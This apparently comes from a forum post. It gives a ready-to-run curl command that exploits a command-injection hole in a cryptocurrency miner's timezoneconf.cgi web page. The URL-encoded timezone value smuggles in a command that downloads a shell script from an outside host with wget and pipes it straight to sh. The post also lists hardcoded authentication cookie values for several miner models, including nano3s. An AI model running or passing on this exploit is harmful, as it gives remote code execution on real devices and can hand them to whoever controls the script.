Code:
curl 'http://<miner IP>/timezoneconf.cgi' \
-b 'auth=ff0000ff4813494d137e1631bba301d5' \
--data-raw 'timezone=%3Bwget%20http%3A%2F%2Fxn--i29h.ge%2Fn.sh%20-O-%7Csh%3B'
change the webpass is after auth= from
ff0000ff4813494d137e1631bba301d5
to
ff0000ffe489f84c23a6fbd9017f631a
for nano3s
use
8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918
after that should work.